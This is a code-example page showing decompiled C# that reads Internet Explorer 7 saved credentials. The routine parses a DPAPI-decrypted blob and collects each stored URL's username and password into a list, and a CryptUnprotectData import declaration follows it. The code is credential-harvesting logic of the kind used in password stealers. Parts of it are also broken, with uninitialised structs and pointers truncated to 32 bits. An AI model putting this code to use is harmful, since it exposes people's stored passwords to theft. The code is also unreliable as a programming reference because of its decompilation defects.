예제 #1
0
        // Token: 0x0600010D RID: 269 RVA: 0x00002B68 File Offset: 0x00000D68
        private void ProcessIEPass(string strURL, string strHash, CIE7Passwords.DATA_BLOB dataOut)
        {
            CIE7Passwords.StringIndexEntry stringIndexEntry;
            int num = Strings.Len(stringIndexEntry);

            CIE7Passwords.StringIndexHeader stringIndexHeader;
            int num2 = Strings.Len(stringIndexHeader);

            checked
            {
                IntPtr ptr = new IntPtr(dataOut.pbData.ToInt64() + (long)(unchecked ((ulong)Marshal.ReadByte(dataOut.pbData))));
                object obj = Marshal.PtrToStructure(ptr, stringIndexHeader.GetType());
                CIE7Passwords.StringIndexHeader stringIndexHeader2;
                stringIndexHeader = ((obj != null) ? ((CIE7Passwords.StringIndexHeader)obj) : stringIndexHeader2);
                if (stringIndexHeader.dwType == 1)
                {
                    if (stringIndexHeader.dwEntriesCount >= 2)
                    {
                        IntPtr intPtr = new IntPtr(ptr.ToInt32() + stringIndexHeader.dwStructSize);
                        IntPtr value  = new IntPtr(intPtr.ToInt32() + stringIndexHeader.dwEntriesCount * num);
                        int    num3   = 0;
                        int    num4   = stringIndexHeader.dwEntriesCount - 1;
                        for (int i = num3; i <= num4; i += 2)
                        {
                            if (value == IntPtr.Zero | intPtr == IntPtr.Zero)
                            {
                                break;
                            }
                            object obj2 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType());
                            CIE7Passwords.StringIndexEntry stringIndexEntry2;
                            stringIndexEntry = ((obj2 != null) ? ((CIE7Passwords.StringIndexEntry)obj2) : stringIndexEntry2);
                            IntPtr intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                            IntPtr intPtr3;
                            string szUserName;
                            if (CIE7Passwords.lstrlenA(intPtr2) != stringIndexEntry.dwDataSize)
                            {
                                intPtr3    = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                szUserName = Marshal.PtrToStringUni(intPtr3);
                            }
                            else
                            {
                                intPtr3    = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                szUserName = Marshal.PtrToStringAnsi(intPtr3);
                            }
                            intPtr = new IntPtr(intPtr.ToInt32() + num);
                            object obj3 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType());
                            stringIndexEntry = ((obj3 != null) ? ((CIE7Passwords.StringIndexEntry)obj3) : stringIndexEntry2);
                            string szPasswd = Strings.Space(stringIndexEntry.dwDataSize);
                            intPtr3 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                            if (CIE7Passwords.lstrlenA(intPtr3) != stringIndexEntry.dwDataSize)
                            {
                                intPtr2  = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                szPasswd = Marshal.PtrToStringUni(intPtr2);
                            }
                            else
                            {
                                intPtr3  = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                szPasswd = Marshal.PtrToStringAnsi(intPtr3);
                            }
                            intPtr = new IntPtr(intPtr.ToInt32() + num);
                            this.m_IEPass.Add(new CIE7Password(strHash, strURL, szUserName, szPasswd, this.FileTimeToDate(ref stringIndexEntry.ftInsertDateTime), 1, string.Empty));
                        }
                    }
                }
                else if (stringIndexHeader.dwType == 0)
                {
                    IntPtr intPtr = new IntPtr(ptr.ToInt32() + stringIndexHeader.dwStructSize);
                    IntPtr value  = new IntPtr(intPtr.ToInt32() + stringIndexHeader.dwEntriesCount * num);
                    if (!(value == IntPtr.Zero | intPtr == IntPtr.Zero))
                    {
                        int num5 = 0;
                        int num6 = stringIndexHeader.dwEntriesCount - 1;
                        for (int j = num5; j <= num6; j++)
                        {
                            object obj4 = Marshal.PtrToStructure(intPtr, stringIndexEntry.GetType());
                            CIE7Passwords.StringIndexEntry stringIndexEntry2;
                            stringIndexEntry = ((obj4 != null) ? ((CIE7Passwords.StringIndexEntry)obj4) : stringIndexEntry2);
                            string szUserName = Strings.Space(stringIndexEntry.dwDataSize);
                            IntPtr intPtr3    = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                            if (CIE7Passwords.lstrlenA(intPtr3) != stringIndexEntry.dwDataSize)
                            {
                                IntPtr intPtr2 = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                szUserName = Marshal.PtrToStringUni(intPtr2);
                            }
                            else
                            {
                                intPtr3    = new IntPtr(value.ToInt32() + stringIndexEntry.dwDataOffset);
                                szUserName = Marshal.PtrToStringAnsi(intPtr3);
                            }
                            intPtr = new IntPtr(intPtr.ToInt32() + num);
                            this.m_IEPass.Add(new CIE7Password(strHash, strURL, szUserName, string.Empty, this.FileTimeToDate(ref stringIndexEntry.ftInsertDateTime), 0, string.Empty));
                        }
                    }
                }
            }
        }
예제 #2
0
 private static extern int CryptUnprotectData(ref CIE7Passwords.DATA_BLOB pDataIn, IntPtr ppszDataDescr, ref CIE7Passwords.DATA_BLOB pOptionalEntropy, IntPtr pvReserved, IntPtr pPromptStruct, int dwFlags, ref CIE7Passwords.DATA_BLOB pDataOut);